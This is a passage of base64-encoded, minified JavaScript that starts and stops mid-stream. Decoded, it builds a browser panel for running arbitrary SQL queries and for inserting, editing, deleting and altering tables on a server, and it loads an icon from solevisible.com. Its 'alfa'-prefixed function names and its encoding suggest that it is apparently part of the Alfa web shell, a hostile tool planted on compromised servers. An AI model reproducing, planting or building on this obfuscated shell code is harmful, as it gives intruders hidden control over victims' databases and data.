bGFzcz0iZHVtcC1maWxlLWhvbGRlciIgc3R5bGU9ImRpc3BsYXk6bm9uZTttYXJnaW4tbGVmdDoyMHB4O21hcmdpbi10b3A6IDVweDsiPjxpbnB1dCBzdHlsZT0icGFkZGluZzogMDt0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJkdW1wLnNxbCIgbmFtZT0iZHVtcF9maWxlIj48L2Rpdj48L2Rpdj4nLHQuaW5uZXJIVE1MPXIsZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNscy0iK2krIi1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9iX21pbnVzLnBuZyJ9ZnVuY3Rpb24gYWxmYU15c3FsUXVlcnkoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiB0ZXh0YXJlYVtuYW1lPXF1ZXJ5XSIpLnZhbHVlO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6dCxhamF4X2lkOiJteXNxbF9sb2FkX3F1ZXJ5X2RhdGEiLGRiX2luZm86e3F1ZXJ5Oml9LHBvc3Q6e2FsZmEyOiJxdWVyeSJ9fSxmdW5jdGlvbihlKXswIT1lLmxlbmd0aCYmKGU9SlNPTi5wYXJzZShlKSxhbGZhTXlzcWxSZXBvcnRCdWlsZGVyKGEsZSksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXF1ZXJ5LXRhYmxlIikuaW5uZXJIVE1MPWUuc3RhdHVzP2UudGFibGU6IiIsYWxmYU15c3FsVGFiQ3RsKHtjaGlsZDoxLGRiX2lkOmEsdGFyZ2V0OiIubXlzcWwtcXVlcnktcmVzdWx0LWNvbnRlbnQifSwhMCkpfSl9ZnVuY3Rpb24gYWxmYU15c3FsUmVwb3J0QnVpbGRlcihlLHQpe3ZhciBhPSIiO3Quc3RhdHVzfHwoYT0iPGRpdj48c3Bhbj5FcnJvcjogPC9zcGFuPjxkaXYgc3R5bGU9J3BhZGRpbmctbGVmdDogNTBweDsnPjxwcmU+Iit0LmVycm9yKyI8L3ByZT48L2Rpdj48L2Rpdj4iKTt2YXIgaT0iPGRpdj48c3Bhbj5RdWVyeTo8L3NwYW4+PGRpdiBzdHlsZT0ncGFkZGluZy1sZWZ0OiA1MHB4Oyc+PHByZT4iK3QucXVlcnkrIjwvcHJlPjwvZGl2PiIrYSsiPC9kaXY+IjtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9aX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZVBhbmVsQ3RsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGE9KHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksZC5xdWVyeVNlbGVjdG9yKCIjIit0KSksaT1hLnF1ZXJ5U2VsZWN0b3IoIi50YWJsZXMtcGFuZWwtY3RsIik7Im5vbmUiPT1pLmdldEF0dHJpYnV0ZSgibW9kZSIpPyhhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsaS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJibG9jayIpLGkuaW5uZXJIVE1MPSImI3gzQzsmI3gzQzsiLGEucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdHMtZml4ZWQiKS5jbGFzc0xpc3QucmVtb3ZlKCJteXNxbC1xdWVyeS1yZXN1bHRzLWZpeGVkIikpOihhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMiKS5zdHlsZS5kaXNwbGF5PSJub25lIixpLnNldEF0dHJpYnV0ZSgibW9kZSIsIm5vbmUiKSxpLmlubmVySFRNTD0iJiN4M0U7JiN4M0U7IixhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1xdWVyeS1yZXN1bHRzIikuY2xhc3NMaXN0LmFkZCgibXlzcWwtcXVlcnktcmVzdWx0cy1maXhlZCIpKSxpLmNsYXNzTGlzdC50b2dnbGUoInRhYmxlcy1wYW5lbC1jdGwtbWluIil9ZnVuY3Rpb24gYWxmYU15c3FsVGFiQ3RsKGUsdCl7dmFyIGE9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKTplLmRiX2lkLGk9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgidGFyZ2V0Iik6ZS50YXJnZXQ7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIithKyIgLm15c3FsLXF1ZXJ5LWNvbnRlbnQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2xhc3NMaXN0LmFkZCgibXlzcWwtaGlkZS1jb250ZW50Iil9KSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgLm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoIm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLHZvaWQgMD09PXQ/ZS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKTpkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCgiK2UuY2hpbGQrIikiKS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAiK2kpLmNsYXNzTGlzdC5yZW1vdmUoIm15c3FsLWhpZGUtY29udGVudCIpfWZ1bmN0aW9uIGFsZmFMb2FkVGFibGVEYXRhKGUsdCl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGk9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7YWxmYU15c3FsQXBpKHtkYl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX2xvYWRfdGFibGVfZGF0YSIsZGJfaW5mbzp7dGFibGU6dH0scG9zdDp7YWxmYTI6ImxvYWRfZGF0YSJ9fSxmdW5jdGlvbihlKXtpZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3ZhciBsPSIiLHI9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1YjhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiIsbz0iPHRhYmxlIGJvcmRlcj0nMSc+PHRyIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0O2JhY2tncm91bmQtY29sb3I6ICMzMDViOGU7Y29sb3I6I0ZGRkZGRjsnPjx0aD5Db2x1bW48L3RoPjx0aD5UeXBlPC90aD48dGg+VmFsdWU8L3RoPjx0aD5DaGFuZ2U8L3RoPjwvdHI+IixuPSI8dGFibGUgYm9yZGVyPScxJz48dHIgc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7YmFja2dyb3VuZC1jb2xvcjogIzMwNWI4ZTtjb2xvcjojRkZGRkZGOyc+PHRoPkNvbHVtbjwvdGg+PHRoPlR5cGU8L3RoPjx0aD5Db2xsYXRpb248L3RoPjx0aD5PcGVyYXRvcjwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiIscz1bImludCIsInNtYWxsaW50IiwiYmlnaW50IiwidGlueWludCIsIm1lZGl1bWludCJdLGM9WyJsb25ndGV4dCIsInRleHQiLCJtZWRpdW10ZXh0IiwidGlueXRleHQiXTtmb3IodmFyIHUgaW4gZS5jb2x1bW5zKXt2YXIgcD0idGV4dCI7LTEhPXMuaW5kZXhPZihlLmNvbHVtbnNbdV0uZGF0YV90eXBlKSYmKHA9Im51bWJlciIpLG4rPSI8dHI+PHRoIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0Oyc+IitlLmNvbHVtbnNbdV0ubmFtZSsiPC90aD48dGQ+IitlLmNvbHVtbnNbdV0udHlwZSsiPC90ZD48dGQ+IitlLmNvbHVtbnNbdV0uY29sbGF0aW9uKyI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIic+PG9wdGlvbiB2YWx1ZT0nPSc+PTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9JyE9Jz4hPTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Jz4nPiZndDs8L29wdGlvbj48b3B0aW9uIHZhbHVlPSc+PSc+Jmd0Oz08L29wdGlvbj48b3B0aW9uIHZhbHVlPSc8Jz4mbHQ7PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nPD0nPiZsdDs9PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIj0gJydcIj49ICcnPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiE9ICcnXCI+IT0gJyc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdMSUtFJz5MSUtFPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTElLRSAlLi4uJSc+TElLRSAlLi4uJTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J05PVCBMSUtFJz5OT1QgTElLRTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J1JFR0VYUCc+UkVHRVhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nUkVHRVhQIF4uLi4kJz5SRUdFWFAgXi4uLiQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdOT1QgUkVHRVhQJz5OT1QgUkVHRVhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nSU4gKC4uLiknPklOICguLi4pPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTk9UIElOICguLi4pJz5OT1QgSU4gKC4uLik8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdCRVRXRUVOJz5CRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTk9UIEJFVFdFRU4nPk5PVCBCRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nSVMgTlVMTCc+SVMgTlVMTDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J0lTIE5PVCBOVUxMJz5JUyBOT1QgTlVMTDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSciK3ArIicgbmFtZT0nIitlLmNvbHVtbnNbdV0ubmFtZSsiJz48L3RkPjwvdHI+Ijt2YXIgZj1hbGZhTXlzcWxMb2FkRGF0YVR5cGUoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk7bnVsbD09ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWUmJihlLmNvbHVtbnNbdV0udHlwZV92YWx1ZT0iIiksbys9Ijx0cj48dGggc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD48c2VsZWN0IG5hbWU9J3NlbF8iK2UuY29sdW1uc1t1XS5uYW1lKyInPiIrZisiPC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IG5hbWU9J3ZhbHVlXyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdHlwZT0ndGV4dCcgdmFsdWU9JyIrKC0xPT1jLmluZGV4T2YoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk/ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWU6IiIpKyInPjwvdGQ+PHRkPjxidXR0b24gY29sX25hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdGJsX25hbWU9JyIrdCsiJyBkYl9pZD0nIitpKyInIGRiX3RhcmdldD0nIithKyInIG9uY2xpY2s9J2FsZmFNeXNxbEFsdGVyVGJsKHRoaXMpO3JldHVybiBmYWxzZTsnPkNoYW5nZTwvYnV0dG9uPjwvdGQ+PC90cj4iO3ZhciBtPSIiO3N3aXRjaChlLmNvbHVtbnNbdV0uZGF0YV90eXBlKXtjYXNlImxvbmd0ZXh0IjpjYXNlInRleHQiOm09Ijx0ZXh0YXJlYSBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHJvd3M9JzUnPjwvdGV4dGFyZWE+IjticmVhaztjYXNlImludCI6Y2FzZSJzbWFsbGludCI6Y2FzZSJiaWdpbnQiOm09IjxpbnB1dCB0eXBlPSdudW1iZXInIG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdmFsdWU9Jyc+IjticmVhaztkZWZhdWx0Om09IjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHZhbHVlPScnPiJ9cis9Ijx0cj48dGggc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD4iK2UuY29sdW1uc1t1XS50eXBlKyI8L3RkPjx0ZD4iK20rIjwvdGQ+PC90cj4ifWlmKHIrPSI8L3RhYmxlPjxkaXYgc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrPSdhbGZhTXlzcWxVcGRhdGVSb3codGhpcywgXCJpbnNlcnRcIik7cmV0dXJuIGZhbHNlOyc+SW5zZXJ0PC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtaW5zZXJ0LXJlc3VsdCc+PC9kaXY+IixvKz0iPC90YWJsZT48ZGl2IGNsYXNzPSdteXNxbC1zdHJ1Y3R1cmUtcXJlcyc+PC9kaXY+IixuKz0iPC90YWJsZT48ZGl2IHN0eWxlPSdwYWRkaW5nLWxlZnQ6IDM4NHB4O21hcmdpbi10b3A6IDE1cHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrPSdhbGZhTXlzcWxTZWFyY2godGhpcyk7cmV0dXJuIGZhbHNlOyc+U2VhcmNoPC9idXR0b24+PC9kaXY+IixlLnBhZ2VzPjApe2wrPSI8c3BhbiBzdHlsZT0nY3Vyc29yOnBvaW50ZXI7JyBkYl9pZD0nIitpKyInIG9uY2xpY2s9J2FsZmFNeXNxbENoYW5nZVBhZ2UodGhpcywxKTsnPjw8PC9zcGFuPiA8c3Bhbj4gcGFnZTogPC9zcGFuPiA8c2VsZWN0IHRibF9uYW1lPSciK3QrIicgZGJfdGFyZ2V0PSciK2ErIicgbmFtZT0nbXlzcWwtcS1wYWdlcycgZGJfaWQ9JyIraSsiJyBjbGFzcz0nZGItb3B0LWlkJyBvbmNoYW5nZT0nYWxmYU15c3FsQ2hhbmdlUGFnZSh0aGlzKTsnIHBhZ2VzPSciK2UucGFnZXMrIic+Ijtmb3IodmFyIGI9MTtiPGUucGFnZXMrMTtiKyspbCs9IjxvcHRpb24+IitiKyI8L29wdGlvbj4iO2wrPSI8L3NlbGVjdD48c3Bhbj4gT2YgIitlLnBhZ2VzKyI8L3NwYW4+IDxzcGFuIHN0eWxlPSdjdXJzb3I6cG9pbnRlcjsnIGRiX2lkPSciK2krIicgb25jbGljaz0nYWxmYU15c3FsQ2hhbmdlUGFnZSh0aGlzLDIpOyc+Pj48L3NwYW4+In12YXIgeT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2kpO3kucXVlcnlTZWxlY3RvcigiLm15c3FsLXNlYXJjaC1hcmVhIikuaW5uZXJIVE1MPW4seS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtaW5zZXJ0LXJvdyIpLmlubmVySFRNTD1yLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLWVkaXQtcm93IikuaW5uZXJIVE1MPSIiLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSIpLmlubmVySFRNTD1vLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdC1oZWFkZXIgLm15c3FsLXF1ZXJ5LXBhZ2VyIikuaW5uZXJIVE1MPWwseS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS5zdGF0dXM/ZS50YWJsZToiIixhbGZhTXlzcWxUYWJDdGwoe2NoaWxkOjEsZGJfaWQ6aSx0YXJnZXQ6Ii5teXNxbC1xdWVyeS1yZXN1bHQtY29udGVudCJ9LCEwKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCg2KSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGFsZmFNeXNxbFJlcG9ydEJ1aWxkZXIoaSxlKX19KX1mdW5jdGlvbiBhbGZhTXlzcWxBbHRlclRibChlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPWQucXVlcnlTZWxlY3RvcigiIyIrYSksbD1lLmdldEF0dHJpYnV0ZSgidGJsX25hbWUiKSxyPWUuZ2V0QXR0cmlidXRlKCJjb2xfbmFtZSIpLG89e307by50eXBlPWkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSBzZWxlY3RbbmFtZT1zZWxfIityKyJdIikudmFsdWUsby5pbnB1dD1pLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1zdHJ1Y3R1cmUgaW5wdXRbbmFtZT12YWx1ZV8iK3IrIl0iKS52YWx1ZSxhbGZhTXlzcWxBcGkoe2RiX2lkOmEsZGJfdGFyZ2V0OnQsYWpheF9pZDoibXlzcWxfdGFibGVfYWx0ZXIiLGRiX2luZm86e3RhYmxlOmwsY29sdW1uOnIsYWx0ZXI6b30scG9zdDp7YWxmYTI6ImFsdGVyIn19LGZ1bmN0aW9uKGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1zdHJ1Y3R1cmUtcXJlcyIpO3QuaW5uZXJIVE1MPWUsdC5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX1mdW5jdGlvbiBhbGZhTXlzcWxTZWFyY2goZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2EpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj17fTtpLnF1ZXJ5U2VsZWN0b3JBbGwoIi5teXNxbC1zZWFyY2gtYXJlYSBpbnB1dCwgLm15c3FsLXNlYXJjaC1hcmVhIHNlbGVjdCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ci5oYXNPd25Qcm9wZXJ0eShlLm5hbWUpfHwocltlLm5hbWVdPXt9KSwiU0VMRUNUIj09ZS50YWdOYW1lP3JbZS5uYW1lXS5vcHQ9ZS52YWx1ZTpyW2UubmFtZV0udmFsdWU9ZS52YWx1ZX0pLGFsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6dCxhamF4X2lkOiJteXNxbF90YWJsZV9zZWFyY2hfcXVlcnkiLGRiX2luZm86e3RhYmxlOmwsc2VhcmNoOnJ9LHBvc3Q6e2FsZmEyOiJzZWFyY2gifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksYWxmYU15c3FsUmVwb3J0QnVpbGRlcihhLGUpLGFsZmFNeXNxbFRhYkN0bCh7Y2hpbGQ6MSxkYl9pZDphLHRhcmdldDoiLm15c3FsLXF1ZXJ5LXJlc3VsdC1jb250ZW50In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1xdWVyeS10YWJsZSIpLmlubmVySFRNTD1lLnRhYmxlKX0pfWZ1bmN0aW9uIGFsZmFNeXNxbEVkaXRSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPShkLnF1ZXJ5U2VsZWN0b3IoIiMiK2kpLGUuZ2V0QXR0cmlidXRlKCJjb2xfa2V5IikpLHI9ZS5nZXRBdHRyaWJ1dGUoImtleSIpLG89ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIiksbj1lLmdldEF0dHJpYnV0ZSgicm93X2lkIik7YWxmYU15c3FsQXBpKHtkYl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX3RhYmxlX2VkaXRfcXVlcnkiLGRiX2luZm86e3RhYmxlOm8sY29sX2tleTpsLGtleTpyfSxwb3N0OnthbGZhMjp0fX0sZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgpaWYoZT1KU09OLnBhcnNlKGUpLCJlZGl0Ij09dCl7dmFyIHM9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1YjhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiI7Zm9yKHZhciBjIGluIGUpe3ZhciB1PSIiO3N3aXRjaChlW2NdLnR5cGUudGFnKXtjYXNlInRleHRhcmVhIjp1PSI8dGV4dGFyZWEgbmFtZT0nIitlW2NdLmNvbCsiJyByb3dzPSc1Jz4iK2VbY10udmFsdWUrIjwvdGV4dGFyZWE+IjticmVhaztjYXNlImlucHV0Ijp1PSI8aW5wdXQgdHlwZT0nIitlW2NdLnR5cGUudHlwZSsiJyBuYW1lPSciK2VbY10uY29sKyInIHZhbHVlPSciK2VbY10udmFsdWUrIic+In1zKz0iPHRyPjx0aCBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDsnPiIrZVtjXS5jb2wrIjwvdGg+PHRkPiIrZVtjXS50eXBlLmNvbF90eXBlKyI8L3RkPjx0ZD4iK3UrIjwvdGQ+PC90cj4ifXMrPSI8L3RhYmxlPjxkaXYgc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIGNvbF9rZXk9JyIrbCsiJyBrZXk9JyIrcisiJyB0YmxfbmFtZT0nIitvKyInIGRiX2lkPSciK2krIicgZGJfdGFyZ2V0PSciK2ErIicgb25jbGljaz0nYWxmYU15c3FsVXBkYXRlUm93KHRoaXMsIFwiZWRpdFwiKTtyZXR1cm4gZmFsc2U7Jz5VcGRhdGU8L2J1dHRvbj48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC11cGRhdGUtcmVzdWx0Jz48L2Rpdj4iLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1lZGl0LXJvdyIpLmlubmVySFRNTD1zLGFsZmFNeXNxbFRhYkN0bCh7Y2hpbGQ6NixkYl9pZDppLHRhcmdldDoiLm15c3FsLWVkaXQtcm93In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1xdWVyeS1yZXN1bHQtdGFicyBkaXY6bnRoLWNoaWxkKDYpIikuc3R5bGUuZGlzcGxheT0iaW5saW5lLWJsb2NrIn1lbHNlImRlbGV0ZSI9PXQmJihlLnN0YXR1cz9kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAudGJsX3Jvd19sIituKS5yZW1vdmUoKTphbGVydChlLmVycm9yKSl9KX1mdW5jdGlvbiBhbGZhTXlzcWxUYmxTZWxlY3RBbGwoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIit0KyIgLm15c3FsLW1haW4gaW5wdXRbbmFtZT10Ymxfcm93c19jaGVja2JveFxcW1xcXV0iKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3QuY2hlY2tlZD1lLmNoZWNrZWR9KX1mdW5jdGlvbiBhbGZhTXlzcWxEZWxldGVBbGxTZWxlY3RlZHJvd3MoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiY29sX2tleSIpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK3QrIiAubXlzcWwtbWFpbiBpbnB1dFtuYW1lPXRibF9yb3dzX2NoZWNrYm94XFxbXFxdXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkJiZyLnB1c2goZS52YWx1ZSl9KSwwPT1yLmxlbmd0aClyZXR1cm4hMTthbGZhTXlzcWxBcGkoe2RiX2lkOnQsZGJfdGFyZ2V0OmEsYWpheF9pZDoibXlzcWxfdGFibGVfZGVsZXRlX2FsbF9xdWVyeSIsZGJfaW5mbzp7dGFibGU6bCxjb2xfa2V5Omkscm93czpyfSxwb3N0OnthbGZhMjoiZGVsZXRlX2FsbCJ9fSxmdW5jdGlvbihlKXtpZigiIiE9ZSlpZigoZT1KU09OLnBhcnNlKGUpKS5zdGF0dXMpe3ZhciBhPTAsaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QpO2QucXVlcnlTZWxlY3RvckFsbCgiIyIrdCsiIC5teXNxbC1tYWluIGlucHV0W25hbWU9dGJsX3Jvd3NfY2hlY2tib3hcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJihhPWUuZ2V0QXR0cmlidXRlKCJyb3dfaWQiKSxpLnF1ZXJ5U2VsZWN0b3IoIi50Ymxfcm93X2wiK2EpLnJlbW92ZSgpKX0pfWVsc2UgYWxlcnQoZS5lcnJvcil9KX1mdW5jdGlvbiBhbGZhTXlzcWxVcGRhdGVSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPWQucXVlcnlTZWxlY3RvcigiIyIraSkscj0iLm15c3FsLWluc2VydC1yb3ciLG89Ii5teXNxbC1pbnNlcnQtcmVzdWx0IixuPSJteXNxbF90YWJsZV9pbnNlcnRfcXVlcnkiLHM9Imluc2VydCIsYz17dGFibGU6ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIil9O2lmKCJlZGl0Ij09dCl7dmFyIHU9ZS5nZXRBdHRyaWJ1dGUoImNvbF9rZXkiKSxwPWUuZ2V0QXR0cmlidXRlKCJrZXkiKTtyPSIubXlzcWwtZWRpdC1yb3ciLG89Ii5teXNxbC11cGRhdGUtcmVzdWx0IixuPSJteXNxbF90YWJsZV91cGRhdGVfcXVlcnkiLHM9InVwZGF0ZSIsYy5jb2xfa2V5PXUsYy5rZXk9cH12YXIgZj17fTtsLnF1ZXJ5U2VsZWN0b3JBbGwocisiIGlucHV0LCAiK3IrIiB0ZXh0YXJlYSIpLmZvckVhY2goZnVuY3Rpb24oZSl7Zi5oYXNPd25Qcm9wZXJ0eShlLm5hbWUpfHwoZltlLm5hbWVdPXt9KSxmW2UubmFtZV09ZS52YWx1ZX0pLGMuZGF0YT1mLGFsZmFNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOm4sZGJfaW5mbzpjLHBvc3Q6e2FsZmEyOnN9fSxmdW5jdGlvbihlKXtpZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIraSsiICIrbyk7dC5zdHlsZS5kaXNwbGF5PSJibG9jayIsZS5zdGF0dXM/dC5pbm5lckhUTUw9IlN1Y2Nlc3MuLi4iOnQuaW5uZXJIVE1MPWUuZXJyb3J9fSl9ZnVuY3Rpb24gYWxmYU15c3FsTG9hZERhdGFUeXBlKGUpe2U9ZS50b1VwcGVyQ2FzZSgpO3ZhciB0PVsiSU5UIiwiVkFSQ0hBUiIsIlRFWFQiLCJEQVRFIix7a2V5OiJOdW1lcmljIix2YWxzOlsiVElOWUlOVCIsIlNNQUxMSU5UIiwiTUVESVVNSU5UIiwiSU5UIiwiQklHSU5UIiwiLSIsIkRFQ0lNQUwiLCJGTE9BVCIsIkRPVUJMRSIsIlJFQUwiLCItIiwiQklUIiwiQk9PTEVBTiIsIlNFUklBTCJdfSx7a2V5OiJEYXRlIGFuZCB0aW1lIix2YWxzOlsiREFURSIsIkRBVEVUSU1FIiwiVElNRVNUQU1QIiwiVElNRSIsIllFQVIiXX0se2tleToiU3RyaW5nIix2YWxzOlsiQ0hBUiIsIlZBUkNIQVIiLCItIiwiVElOWVRFWFQiLCJURVhUIiwiTUVESVVNVEVYVCIsIkxPTkdURVhUIiwiLSIsIkJJTkFSWSIsIlZBUkJJTkFSWSIsIi0iLCJUSU5ZQkxPQiIsIk1FRElVTUJMT0IiLCJCTE9CIiwiTE9OR0JMT0IiLCItIiwiRU